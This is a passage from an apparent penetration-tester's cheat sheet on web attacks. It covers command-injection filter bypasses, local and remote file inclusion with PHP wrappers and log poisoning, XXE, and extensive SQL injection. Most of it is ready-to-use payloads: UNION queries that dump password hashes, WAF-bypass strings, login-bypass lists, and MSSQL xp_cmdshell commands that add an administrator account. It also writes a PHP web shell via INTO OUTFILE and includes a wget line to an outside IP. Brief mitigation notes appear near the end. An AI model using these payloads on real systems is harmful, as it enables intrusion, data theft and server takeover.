p$(u)i$(u)n$(u)g #Equals to ping but 3 errors trying to exeute "u" are shown w`u`h`u`o`u`a`u`m`u`i #Equals to whoami but 5 errors trying to exeute "u" are shown #Concating strings using history !-1 #This will be substitude by the last command executed, and !-2 by the penultimate command mi #This will throw an error whoa #This will throw an error !-1!-2 #This will execute whoami ``` ### Bypass forbidden spaces ``` ##{form} {cat,lol.txt} #This will cat the file ##IFS - Internal field separator, change " " for any othe character ("]" in this case) #IFS withut modifications cat${IFS}/etc/passwd cat$IFS/etc/passwd #Put the command line in a variable and then execute it IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b IFS=];b=cat]/etc/passwd;$b #Using 2 ";" IFS=,;`cat<< ``` ``` eg http://10.10.106.72/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.8.5.219/shell.php ``` ## File Inclusion (LFI) To check if website is vulnerable write ../ in after the parameter like this `http://$ip/index.php?id=../` and if you got \[function.include] then the website may be vulnerable. ### `proc/self/environ` So after getting the error remove ../ and replace with it /etc/passwd like `http://$ip/index.php?id=/etc/passwd` if you got another \[function.include] then add **../** until you got many text ( http headers ) then the site is vulnerable so after you find the passwd file we have to replace **`/etc/passwd`** it to be `/proc/self/environ`so the url will be something like this `http://$ip/index.php?id=/proc/self/environ` Now change your user agent to the first created user agent that contain **``** and reload the page , if you got a text similar to **PHP VERSION** then you know you have code execution. ``` https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi-to-rce-via-phpinfo https://www.aptive.co.uk/blog/local-file-inclusion-lfi-testing/ ``` ### Capture rsa\_key Check `/etc/passwd` for user. Key stored in `/home/user/ssh/id_rsa.` Copy key to kali, do chmod 600, then `ssh user@ip -i key` ### Using Wrappers #### php\://filter ``` https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/ ``` ``` ?page=php://filter/read=string.rot13/resource=index.php ?page=php://filter/convert.base64-encode/resource=index.php ?page=pHp://FilTer/convert.base64-encode/resource=index.php ``` #### zip ``` ?page=zip://shell.jpg%23payload.php ``` #### data ``` ?page=data://text/plain;base64,[base64_encode_shell] ``` #### expect:// ``` ?page=expect://id ?page=expect://ls ``` #### input:// ``` ?page=php://input | POST DATA: ``` #### wfuzz command ``` wfuzz -u "http://$ip/page.php?command=FUZZ" -w /opt/LFISuite/pathtotest_huge.txt ``` ### dotdotpwn #### HTTP Module ``` http://www.effecthacking.com/2017/04/dotdotpwn-directory-traversal-fuzzing-tool.html ``` ``` ./dotdotpwn.pl -m http -h 192.168.1.1 -x 8080 -f /etc/hosts -k "localhost" -d 8 -t 200 -s ``` ``` ./dotdotpwn.pl -m http -h 192.168.1.1 -O -X -M POST -e .php -E ``` #### HTTP URL Module ``` ./dotdotpwn.pl -m http-url -u http://192.168.1.1:10000/unauthenticated/TRAVERSAL -O -k "root:" -r webmin.txt ``` #### FTP Module ``` ./dotdotpwn.pl -m ftp -h 192.168.1.1 -s -U nitr0us -P n1tr0u5pwnzj00 -o windows -q -r ftp_server.txt ``` #### TFTP Module ``` ./dotdotpwn.pl -m tftp -h 192.168.1.1 -b -t 1 -f windows/system32/drivers/etc/hosts ``` #### Payload Module ``` ./dotdotpwn.pl -m payload -h 192.168.1.1 -x 10000 -p payload_sample_1.txt -k "root:" -f /etc/passwd ``` #### STDOUT Module {% hint style="success" %} good for producing a list of LFIs to try, maybe on another tool {% endhint %} ``` ./dotdotpwn.pl -m stdout -d 5 ``` ### Log poisoning If you can find files which you can poison like `/var/logs/auth.log` you can do this by connecting to SSH like this `ssh ''@$ip` then do `http://$ip/../../var/logs/auth.log?c=whoami` to get RCE ``` https://www.hackingarticles.in/ha-natraj-vulnhub-walkthrough/ ``` ### Useful LFI list a big list of useful lfi paths you might have to customise this list - for example if wordpress is located in /blog/ directory edit the top line of this file to `/var/www/html/blog/wp-config.php` edit the file to include what file your searching for eg `grep resource /scripts/useful/lfi.list php://filter/read=string.rot13/resource=index.php php://filter/convert.base64-encode/resource=index.php pHp://FilTer/convert.base64-encode/resource=index.php php://filter/convert.base64-encode/resource=../../../../../etc/passwd` and possibly replace it with a resource you know, for example upload, if there is an `/upload.php` file ``` wget https://raw.githubusercontent.com/rowbot1/lfi.list/master/list.list ``` #### wfuzz ``` wfuzz -u "http://$ip/file.php?command=file://FUZZ" -w lfi.list ``` {% hint style="danger" %} you might have to customise this list - for example if wordpress is located in /blog/ directory edit the top line of this file to /var/www/html/**blog**/wp-config.php {% endhint %} ``` https://github.com/rowbot1/lfi.list ``` ## XXE Complete all fields on the form. When the form is processed it might output what you added to the form - maybe one field. If it does this is the field to add the XXE part - "\&xxe;" ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LrwxKMzNxvaHYJ-OY10%2F-Lrx3RPd9bjsDod-I1Mn%2Fimage.png?alt=media\&token=f783336e-69fd-4b87-bc39-b26d5ca91d0c) ``` ]> &xxe; ``` # SQL ``` https://blog.cobalt.io/a-pentesters-guide-to-sql-injection-sqli-16fd570c3532 ``` ## 3306 - remotely {% hint style="success" %} note to self - try to connect remotely {% endhint %} ``` mysql -h $ip -u root -p show databases; #find the database you want - eg wordpress_db use wordpress_db; show tables; select * from wp_users; ``` If you have root access remotely like the example above you can get access to the user's wordpress password. ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MDU1o3kyLftcE0eKmbl%2F-MDW_5ZrUY4F7rM-FNHY%2Fimage.png?alt=media\&token=abab6f6e-59c3-4dd0-847b-a6fceb164e44) If you can not crack the password you can change it to something you know - in fact just change the pass to something you know eg ``` SELECT ID, user_login, user_pass FROM wp_users WHERE user_login = 'admin'; #set the password for user admin to rowbot UPDATE wp_users SET user_pass='c424ada17bf6e27794273b7db21cf950' WHERE user_login = 'admin'; ``` ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MDU1o3kyLftcE0eKmbl%2F-MDWiiOz6DDS8VHphrHu%2Fimage.png?alt=media\&token=fb7250ef-74f7-4587-8085-e0fe9664c9c1) ![successfully log in](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-MDU1o3kyLftcE0eKmbl%2F-MDWiTwNHNhx_yOKsvmU%2Fimage.png?alt=media\&token=36c1f592-3412-4db7-9216-a525b7af7fbd) ## Identifying SQL Injection Let's say that you have some site like this ``` http://$ip/news.php?id=5 ``` Or a form like this ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-M0-osTGaSUSFX4K_LQX%2F-M0-q3W0Zwp4cMYRo-cQ%2Fimage.png?alt=media\&token=775bf965-460b-419a-b9b3-dd3bee662c2b) Now to test if it is vulnerable you add to the end of url **'** (quote). ``` http://$ip/news.php?id=5' ``` If you get an error like: {% hint style="danger" %} "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..." or something similar {% endhint %} {% hint style="success" %} That means its vulnerable ! {% endhint %} ### Find the number of columns To find number of columns you use statement **ORDER BY** (tells database how to order the result) so how to use it? Well just increment the number until you get an error. ``` http://$ip/news.php?id=5 order by 1/* <-- no error http://$ip/news.php?id=5 order by 2/* <-- no error http://$ip/news.php?id=5 order by 3/* <-- no error http://$ip/news.php?id=5 order by 4/* <-- error (you get message like this Unknown column '4' in 'order clause' or something like that) ``` That means that the database has 3 columns, cause you get an error on 4. ### Check for UNION function With union you can select more data in one SQL statement. So you have: ``` http://$ip/news.php?id=5 union all select 1,2,3/* (you already found that number of columns are 3 in section 2). ) ``` If that doesn't work or you get some error, then try: ``` http://$ip/news.php?id=5 union all select 1,2,3 -- - #note the dashes at the end ``` The dashes tells SQL not to process anything passed the 3, in the case above. If you see some numbers on screen, i.e 1 or 2 or 3 then the UNION works!! ### Check for MySQL version Lets say that you have number **2** on the screen, now to check for version You replace the number 2 with **@@version or version()** and get something like **4.1.33-log or 5.0.45** or similar. It should look like: ``` http://$ip/news.php?id=5 union all select 1,@@version,3/* ``` If you get an error: {% hint style="danger" %} "union + illegal mix of collations (IMPLICIT + COLLATIONS) ..." {% endhint %} you need is **convert()** function ```http http://$ip/news.php?id=5 union all select 1,convert(@@version using latin1),3/ ``` or with **hex()** and **unhex()** ```http http://$ip/news.php?id=5 union all select 1,unhex(hex(@@version)),3/* ``` and you will get MySQL version ### Getting table and column name If the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) you must guess the table and column names Common table names are: ``` users, admins, members .. ``` Common column names are: ``` username, user, usr, user_name, password, pass, passwd, pwd etc.. ``` For example: ``` http://$ip/news.php?id=5 union all select 1,2,3 from admin/* ``` If you see number 2 on the screen like before, and that's good, you know that there is a table called admin in the database. Else try another table name. Now to check column names: ``` http://$ip/news.php?id=5 union all select 1,password,3 from admin/* ``` If you get an error, then try the other column name You will hopefully see the password on the screen in hash or plain-text, it depends of how the database is set up. For example i.e md5 hash, mysql hash, sha1... Now you must complete query to look nice for that you can use **concat()** function (it joins strings). ``` http://$ip/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/* ``` {% hint style="info" %} Note that I put 0x3a, its hex value for : (so 0x3a is hex value for colon) {% endhint %} {% hint style="info" %} There is another way for that, char(58), ascii value for a colon {% endhint %} ``` http://$ip/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/* ``` Now you get displayed username:password on screen, i.e admin:admin or admin:somehash when you have this, you can login like admin or some superuser :D if can't guess the right table name, you can always try mysql.user (default) it has user and password columns, so example would be ``` http://$ip/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/* ``` ## Test number of columns - Watch for Error ``` http://$ip/artists.php?artist=1 order by 1,2,3,4 http://$ip/artists.php?artist=1 order by 1,2,3,4 -- LIMIT 1 http://$ip/artists.php?artist=1 -1 union all select 1/* http://$ip/artists.php?artist=1 -1 union all select 2/* http://$ip/artists.php?artist=1 -1 union all select 3/* http://$ip/artists.php?artist=1 -1 union all select 4/* ``` ## Test Injectable columns - Watch for visual Indicators (WAF filters) ``` http://$ip/artists.php?artist=1 -1 union all select 1,2,3,4 http://$ip/listproducts.php?cat=1 -1 /*!UNiOn*/ /*!SeLEct*/ 1,database(),3,4,5,6,7,8,9,10,11 http://$ip/listproducts.php?cat=1%20%20-1%20%20%20/**//*!12345UNION%20SELECT*//**/%201,database%28%29,3,4,5,6,7,8,9,10,11 http://$ip/listproducts.php?cat=1%20%20-1%20%20%20%20/**//*!50000UNION%20SELECT*//**/%201,database%28%29,3,4,5,6,7,8,9,10,11 http://$ip/listproducts.php?cat=1%20%20-1%20%20/**/UNION/**//*!50000SELECT*//**/%201,database%28%29,3,4,5,6,7,8,9,10,11 http://$ip/listproducts.php?cat=1%20%20-1%20%20%20/*!50000UniON%20SeLeCt*/%201,database%28%29,3,4,5,6,7,8,9,10,11 --*See the 'Web filter Bypass Keywords' below for more*-- ``` ## Enumerate Information ``` http://$ip/artists.php?artist=1 union all select 1,@@version,3,4 http://$ip/artists.php?artist=1 union all select 1,hex(unhex(@@version)),3,4 http://$ip/artists.php?artist=1 union all select 1,convert(@@version using latin1),3,4 ``` ### Enumerate Database ``` http://$ip/artists.php?artist=1 union all select 1,database(),3,4 ``` ### Enumerate Tables ``` http://$ip/listproducts.php?cat=1 -1 union all select 1,2,3,4,5,6,7,8,table_name,10,11 from information_schema.tables ``` ### Enumerate columns ``` http://$ip/artists.php?artist=1 -1 union select all 1,2,column_name,4 from information_schema.columns where table_schema='database' and table_name='table_name' LIMIT 1,1 -- - LIMIT 1 ``` ### Enumerate RAW data ``` http://$ip/listproducts.php?cat=1 union select all 1,2,3,4,5,6,group_concat(uname,0x10a,email),8,9,10,11 FROM users ``` ### Confirm MYSQL version - If Returns true then end value is true ``` http://$ip/listproducts.php?cat=1 and substring(@@version,1,1)=4 http://$ip/listproducts.php?cat=1 and substring(@@version,1,1)=5 ``` ### Test if subset works - If returns True then subset works ``` http://$ip/listproducts.php?cat=1 and (select 1)=1 ``` ### Test if subset works, test for mysql.user - If returns True then subset works ``` http://$ip/listproducts.php?cat=1 and (select 1 from mysql.user limit 0,1)=1 ``` ### Injection ``` @@hostname @@tmpdir @@datadir @@basedir @@log @@log_bin @@log_error @@binlog_format @@time_format @@date_format @@ft_boolean_syntax @@innodb_log_group_home_dir @@new @@version @@version_comment @@version_compile_os @@version_compile_machine @@GLOBAL.have_symlink @@GLOBAL.have_ssl @@GLOBAL.VERSION version() table_name() user() system_user() session_user() database() column_name() collation(user()) collation(\N) schema() UUID() current_user() current_user dayname(from_days(401)) dayname(from_days(402)) dayname(from_days(403)) dayname(from_days(404)) dayname(from_days(405)) dayname(from_days(406)) dayname(from_days(407)) monthname(from_days(690)) monthname(from_unixtime(1)) collation(convert((1)using/**/koi8r)) (select(collation_name)from(information_schema.collations)where(id)=1 (select(collation_name)from(information_schema.collations)where(id)=23 (select(collation_name)from(information_schema.collations)where(id)=36 (select(collation_name)from(information_schema.collations)where(id)=48 (select(collation_name)from(information_schema.collations)where(id)=50 ------forever---- ``` ### Adding Gaps between requests ``` testtest nospace 0x1a test*test * 0x2a test:test : 0x3a test::test :: 0x3a3a testJtest J 0x4a testZtest Z 0x5a testjtest j 0x6a testztest z 0x7a testtest nospace 0x8a testtest nospace 0x9a test test SPACE 0x10a ``` ### Web Filter Bypass 'union select' keyword strigns ``` union select !UNiOn*/ /*!SeLEct*/ /**//*!12345UNION SELECT*//**/ /**//*!50000UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ /*!50000UniON SeLeCt*/ union /*!50000%53elect*/ /*!%55NiOn*/ /*!%53eLEct*/ /*!u%6eion*/ /*!se%6cect*/ %2f**%2funion%2f**%2fselect union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A /*--*/union/*--*/select/*--*/ /*!union*/+/*!select*/ union+/*!select*/ /**/union/**/select/**/ /**/uNIon/**/sEleCt/**/ /**//*!union*//**//*!select*//**/ /*!uNIOn*/ /*!SelECt*/ +union+distinct+select+ +union+distinctROW+select+ +UnIOn%0D%0ASeleCt%0D%0A /%2A%2A/union/%2A%2A/select/%2A%2A/ %2f**%2funion%2f**%2fselect%2f**%2f union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A ``` ### MySQL 5 For this you need information\_schema. It holds all tables and columns in database To get tables you use **table\_name** and **information\_schema.table**s: ``` http://$ip/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/* ``` Here you replace the our number **2** with **table\_name** to get the first table from **information\_schema.tables** displayed on the screen. Now you must add **LIMIT** to the end of query to list out all tables. ``` http://$ip/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/* ``` {% hint style="info" %} Note that i put 0,1 (get 1 result starting from the 0th) now to view the second table, you change limit 0,1 to limit 1,1 {% endhint %} ``` http://$ip/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/* ``` The second table is displayed. for third table you put **limit 2,1** ``` http://$ip/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/* ``` Increment until you get some useful like **db\_admin, poll\_user, auth, auth\_user etc**... To get the column names the method is the same. Here you use column\_name and information\_schema.columns the method is same as above so example would be ``` http://$ip/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/ ``` The first column is displayed. the second one (you change **limit 0,1** to **limit 1,1**) ``` http://$ip/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/* ``` The second column is displayed, so increment until you get something like **username,user,login, password, pass, passwd etc.** If you want to display column names for specific table use this query. (where clause) let's say that you found table users: ``` http://$ip/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/* ``` Now you get displayed column name in table users. Just using **LIMIT** you can list all columns in table users. Note that this won't work if the magic quotes is ON. let's say that you found columns user, pass and email. Now to complete query to put them all together. For that you use **concat()**. ``` http://$ip/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/* ``` What you get is user:pass:email from table users. ``` admin:hash:whatever@blabla.com ``` The passwords are in hash format so you need to crack the hash. Try * Test error based sending **' " ;** and look for errors. * Test for boolean based sending **' or '1'='1** or **or 1=1** and look for differences. * Other boolean payloads: ``` 2' or '1'='1 'or'a'='a ' or 1=1 -- a' or 1=1 -- " or 1=1 -- a" or 1=1 -- ' or 1=1 # " or 1=1 # or 1=1 -- ' or 'x'='x " or "x"="x ') or ('x'='x ") or ("x"="x ' or username LIKE '%admin% ``` * Payloads, where username is 'admin': ``` ' or ( 1=1 and username='admin'); admin' -- %bf%27 or 1=1 -- ``` ## MsSqli exploitation The passwords are in hash format you need to crack the hash. * Find injectable parameter, doing do boolean based: ``` 1002' or '1'='1 1002' and '1'='1 1002' and '1'='2 ``` * Find injectable parameter with time delays: ``` XX'; WAITFOR DELAY '0:0:5'-- ``` * If it works you can try to enable xp\_cmdshell: ``` EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; ``` * Test xp\_cmdshell using a time delay: ``` ';exec master..xp_cmdshell 'ping -n 5 127.0.0.1'; -- ``` * Add user ``` ';exec master..xp_cmdshell 'net user pwned 1234 /ADD && net localgroup administrators pwned /ADD'; -- ``` * If it did not work, try enumerating the database. Find col until no error tells you the columns: ``` 1002' ORDER BY 1-- 1002' ORDER BY 2-- 1002' ORDER BY 3-- ``` * Run union query with num of cols: ``` 1002' UNION ALL SELECT null,NULL,NULL,NULL-- ``` * Get data: ``` ID=1002' UNION ALL SELECT NULL,+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)),NULL,NULL-- ID=1002' UNION ALL SELECT NULL,+ISNULL(CAST(HOST_NAME() AS NVARCHAR(4000)),CHAR(32)),NULL,NULL-- ID=1002' UNION ALL SELECT NULL,+ISNULL(CAST(INJECTED_FUNCTION AS NVARCHAR(4000)),CHAR(32)),NULL,NULL-- DB_NAME() user_name(); system_user ``` * Get hashes ``` 1002' UNION ALL SELECT NULL,CHAR(113)+ISNULL(CAST(name AS NVARCHAR(4000)),CHAR(32))+CHAR(98)+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS NVARCHAR(4000)),CHAR(32))+CHAR(113),NULL,NULL FROM master..sysxlogins-- ``` ## MsSql error-based Exploitation * Group by and **having** can be used to specify a search condition for a group and aggregate the result. * Sending **' having 1=1--** should produce **column 'table.column1' is invalid** * 2\. Sending **' group by table.column1 having 1=1--** should produce **column 'table.column2' is invalid** * 3\. Sending **' group by table.column1,table.column2 having 1=1--** should end up generating no error when you specify all the columns. * You can generate error and get debug info: * Sending **convert(int, @@version)--** should trigger the error **failed when convering SQL Server...**\* * Other payloads: ``` convert(int,user_name())-- convert(int, @@db_name())-- ``` * If the DB runs as SA, you can run **XP\_CMDSHELL** to get code execution. * Useful queries: ``` SELECT Distinct TABLE_NAME FROM information_schema.TABLES exec master.dbo.xp_cmdshell 'CMD' ``` ## MsSql blind exploitation * For numeric contexts (look for differences): ``` and 1=1 and 1=2 ``` * Once we found the injection, we can leak data from the DB by guessing one character at a time as follows: ``` AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)=109 ``` * if it is true, we know the db\_name starts with 109(m). * Ask if the first character of the user is 'a': ``` and if(substring (user(),1,1)=’a’,SLEEP(5),1)--” ``` * Check if the admin table exists: ``` and IF(SUBSTRING ((select 1 from admin limit 0,1),1,1)=1,SLEEP(5),1) ``` Finding number of columns using ORDER BY * We can use order by to sort the result by a given column number, if the column does not exist, we will get an error: ``` vuln.php?id=1 order by 9 # This throws no error vuln.php?id=1 order by 10 # This throws error ``` MySql UNION code execution * Joins the result of two queries * Two queries should return the same # of columns. * Data-types in columns of the select must be of the same orcompatible type. * Once you have the right number of columns (i.e. 3) you can find the mysql version: ``` UNION SELECT @@version,NULL, NULL#' ``` * mysql users: ``` UNION SELECT table_schema,NULL,NULL FROM information_schema.columns#' ``` * if the result displays garbage from the first query, you can add a false condition to only show the union result **AND 1=0 UNION...** * Read files ``` AND 1=0 UNION SELECT LOAD_FILE('C:\\boot.ini'),NULL,NULL #' ``` * Write files ``` AND 1=0 UNION SELECT 'bad content',NULL,NULL INTO OUTFILE 'C:\\random_file.txt' #' ``` * Other payloads: ``` -1 union all select @@version -- 1 union SELECT user FROM mysql.user 1 union select 'foo' into outfile '/tmp/foo' 1 union select load_file('/etc/passwd') ``` ## MySql UNION db leak * First, identify vulnerable parameter by causing true and false conditions: ``` or 1=1 vs or 1=2 and 1=2 vs and 1=1 ``` * If the query is a select, the true should return all rows of the table and the other empty results. * Next step is to gess the number of columns, you can do that by sending an union statement, you will get an error until you guess it: ``` id=1 union all select 1 id=1 union all select 1,2 id=1 union all select 1,2,3 ... ``` * You can get the name of the database by sending: ``` ?id=1 union all select 1,2,3,4,5 from XXX Table 'gallery.XXX' doesn't existCould not select category ``` * You can use a comment \*#\* to finish the query, in case there is a group by after the context of the injection. You can select the users and passwords form the database with: ``` id=1 union all (select 1,2,3,4,5,6 from mysql.user)# ``` * Leak the password: ``` 1 union (select password,2,3,4,5,6 from mysql.user)# ``` * Should produce: ``` You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '*47FB3B1E573D80F44CD198DC65DE7764795F948E) order by dateuploaded desc limit 1' at line 1 ``` * Find current user ``` SELECT user(); SELECT system_user(); ``` * List all Users ``` SELECT user FROM mysql.user; ``` * List password hashes ``` SELECT host, user, password FROM mysql.user; ``` * List databases ``` SELECT schema_name FROM information_schema.schemata; SELECT distinct(db) FROM mysql.db ``` * List columns ``` SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ ``` * List tables ``` SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ ``` * Exfiltrate the different rows of the table. First, find the number of rows in the table: ``` aa' UNION SELECT count(*), users.password FROM users; -- ``` * Then select each row: ``` aa' UNION SELECT users.password, users.password FROM users LIMIT 1; -- ``` ``` aa' UNION SELECT users.password, users.password FROM users LIMIT 1 OFFSET 1; -- ``` ``` aa' UNION SELECT users.password, users.password FROM users LIMIT 1 OFFSET 2; -- ``` * Exfiltrate the different rows of the table: ``` ' or 'x'='x' order by 1 desc -- ' or 'x'='x' order by 2 desc -- ... ``` ## MySql in-band, union based SQLI exploitation * Enumerate user ``` ?id=1 union select 1,2,3,4,user(),6,7,8,9 ``` * Enumerate version ``` ?id=1 union select 1,2,3,4,version(),6,7,8,9 ``` * Get all tables ``` ?=1 union select 1,2,3,4,table_name,6,7,8,9 from information_schema.tables ``` * Get all values from a specific column: ``` ?id=1 union select 1,2,3,4,column_name,6,7,8,9 from information_schema.columns where table_name = 'users' ``` * Get username and password with a delimiter: ``` id=1 union select 1,2,3,4,concat(name,0x3a,password),6,7,8,9 FROM users ``` * Getting a shell ``` ?id=1 union all select 1,2,3,4,"",6,7,8,9 into OUTFILE 'c:/xampp/htdocs/cmd.php' ``` * Non interactive shell: * echo 'use mysql; select \* from user;' | mysql -uroot -h127.0.0.1 SQLI login bypass * ``` -' ' ' '&' '^' '*' ' or ''-' ' or '' ' ' or ''&' ' or ''^' ' or ''*' "-" " " "&" "^" "*" " or ""-" " or "" " " or ""&" " or ""^" " or ""*" or true-- " or true-- ' or true-- ") or true-- ') or true-- ' or 'x'='x ') or ('x')=('x ')) or (('x'))=(('x " or "x"="x ") or ("x")=("x ")) or (("x"))=(("x ``` ## Other tricks * If space is filtered, you can use /\*\*/ instead * Sometimes you can bypassfilter by adding a new line; I.e. 123%0aor 1=1 * try boolean sqli using **num=123** vs **num=123--** (comments out the rest of the query) Object to relational mapping (ORM) injection * Try vectors like ``` \' \" OR 1-- ``` Mitigation * Parameterized Queries ``` "SELECT * FROM foo WHERE bar = ? ".setString( 1, var); ``` * Stored Procedures (with parameterized queries) ``` connection.prepareCall("{call sp_getAccountBalance(?)}").setString(1, custname); ``` * White List Input Validation * Escaping All User Supplied Input * Additional defenses * Least Privilege * White List Input Validation * Views * SQL views to further increase the granularity of access by limiting the read access to specific fields of a table or joins of tables * ## From SQL Injection to Shell ### Inspecting HTTP headers A lot of information can be retrieved by connecting to the web application using netcat or telnet: ``` $ telnet vulnerable 80 ``` Where: * vulnerable is the hostname or the IP address of the server; * 80 is is the TCP port used by the web application (80 is the default value for HTTP). By sending the following HTTP request: ``` GET / HTTP/1.1 Host: vulnerable ``` It is possible to retrieve information on the version of PHP and the web server used just by observing the HTTP headers sent back by the server: ``` HTTP/1.1 200 OK Date: Thu, 24 Nov 2011 04:40:51 GMT Server: Apache/2.2.16 (Debian) X-Powered-By: PHP/5.3.3-7+squeeze3 Vary: Accept-Encoding Content-Length: 1335 Content-Type: text/html ``` Here the application is only available via HTTP (nothing is runnning on the port 443). If the application was only available via HTTPs, telnet or netcat would not be able to communicate with the server, the tool `openssl` can be used: ``` $ openssl s_client -connect vulnerable:443 ``` Where: * vulnerable is the hostname or the IP address of the server; * 443 is is the TCP port used by the web application (443 is the default value for HTTPs). Using an application such as Burp Suite () set up as a proxy makes it easy to retrieve the same information: ![HTTP headers in Burp](https://assets.pentesterlab.com/from_sqli_to_shell/burp-headers.png) ### Using a directory Buster The tool wfuzz () can be used to detect directories and pages on the web server using brute force. The following command can be run to detect remote files and directories: ``` $ python wfuzz.py -c -z file,wordlist/general/big.txt --hc 404 http://vulnerable/FUZZ ``` The following options are used: * `-c` to output with colors. * `-z file,wordlist/general/big.txt` tells wfuzz to use the file `wordlists/general/big.txt` as a dictionary to brute force the remote directories' name. * `--hc 404` tells wfuzz to ignore the response if the response code is 404 (Page not Found) * `http://vulnerable/FUZZ` tells wfuzz to replace the word FUZZ in the URL by each value found in the dictionary. On some systems, you may need to replace ``` python wfuzz.py ``` with ``` wfuzz ``` Wfuzz can also be used to detect PHP script on the server: ``` $ python wfuzz.py -z file -f commons.txt --hc 404 http://vulnerable/FUZZ.php ``` ## Detection and exploitation of SQL injection ``` https://pentesterlab.com/exercises/from_sqli_to_shell/course ``` #### Introduction to SQL In order to understand, detect and exploit SQL injections, you need to understand the Structured Query Language (SQL). SQL allows a developer to perform the following requests: * retrieve information using the `SELECT` statement; * update information using the `UPDATE` statement; * add new information using the `INSERT` statement; * delete information using the `DELETE` statement. More operations (to create/remove/modify tables, databases or triggers) are available but are less likely to be used in web applications. The most common query used by web sites is the SELECT statement which is used to retrieve information from the database. The SELECT statement follows the following syntax: ``` SELECT column1, column2, column3 FROM table1 WHERE column4='string1' AND column5=integer1 AND column6=integer2; ``` In this query, the following information is provided to the database: * the `SELECT` statement indicates the action to perform: retrieve information; * the list of columns indicates what columns are expected; * the `FROM table1` indicates from what tables the records are fetched; * the conditions following the `WHERE` statement are used to indicate what conditions the records should meet. The `string1` value is delimited by a simple quote and the integers `integer1` and `integer2` can be delimited by a simple quote (`integer2`) or just put directly in the query (`integer1`). For example, let see what the request: ``` SELECT column1, column2, column3 FROM table1 WHERE column4='user' AND column5=3 AND column6=4; ``` will retrieve from the following table: | column1 | column2 | column3 | column4 | column5 | column6 | | ------- | ------- | ------- | ------- | ------- | ------- | | 1 | test | Paul | user | 3 | 13 | | 2 | test1 | Robert | user | 3 | 4 | | 3 | test33 | Super | user | 3 | 4 | Using the previous query, the following results will be retrieved: | column1 | column2 | column3 | | ------- | ------- | ------- | | 2 | test1 | Robert | | 3 | test33 | Super | As we can see, only these values are returned since they are the only ones matching all of the conditions in the `WHERE` statement. If you read source code dealing with some databases, you will often see `SELECT * FROM tablename`. The `*` is a wildcard requesting the database to return all columns and avoid the need to name them all. #### Detection based on Integers Since error messages are displayed, it's quite easy to detect any vulnerability in the website. SQL injections can be detected using any and all of the following methods.All these methods are based on the general behaviour of databases, finding and exploiting SQL injections depends on a lot of different factors, although these methods are not 100% reliable on their own. This is why you may need to try several of them to make sure the given parameter is vulnerable. Let's take the example of a shopping website, when accessing the URL /cat.php?id=1, you will see the picture article1. The following table shows what you will see for different values of id: | URL | Article displayed | | ----------------- | ----------------- | | /article.php?id=1 | Article 1 | | /article.php?id=2 | Article 2 | | /article.php?id=3 | Article 3 | The PHP code behind this page is: ``` ``` The value provided by the user (`$_GET["id]`) is directly echoed in the SQL request. For example, accessing the URL: * `/article.php?id=1` will generate the following request: `SELECT * FROM articles WHERE id=1` * `/article.php?id=2` will generate the following request `SELECT * FROM articles WHERE id=2` If a user try to access the URL `/article.php?id=2'`, the following request will be executed `SELECT * FROM articles WHERE id=2'`. However, the syntax of this SQL request is incorrect because of the single quote `'` and the database will throw an error. For example, MySQL will throw the following error message: ``` You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 ``` This error message may or may not be visible in the HTTP response depending on the PHP configuration. The value provided in the URL is directly echoed in the request and considered as an integer, this allows you to ask the database to perform basic mathematical operation for you: * if you try to access `/article.php?id=2-1`, the following request will be sent to the database `SELECT * FROM articles WHERE id=2-1`, and the article1's information will be display in the web page since the previous query is equivalent to `SELECT * FROM articles WHERE id=1` (the subtraction will be automatically performed by the database). * if you try to access `/article.php?id=2-0`, the following request will be sent to the database `SELECT * FROM articles WHERE id=2-0`, and the article2's information will be displayed in the web page since the previous query is equivalent to `SELECT * FROM articles WHERE id=2`. These properties provide a good method of detecting SQL injection: * if accessing /article.php?id=2-1 displays article1 and accessing /article.php?id=2-0 displays article2, the subtraction is performed by the database, and you're likely to have found a SQL injection * if accessing /article.php?id=2-1 displays article2 and accessing /article.php?id=2-0 displays article2 as well, it's unlikely that you have SQL 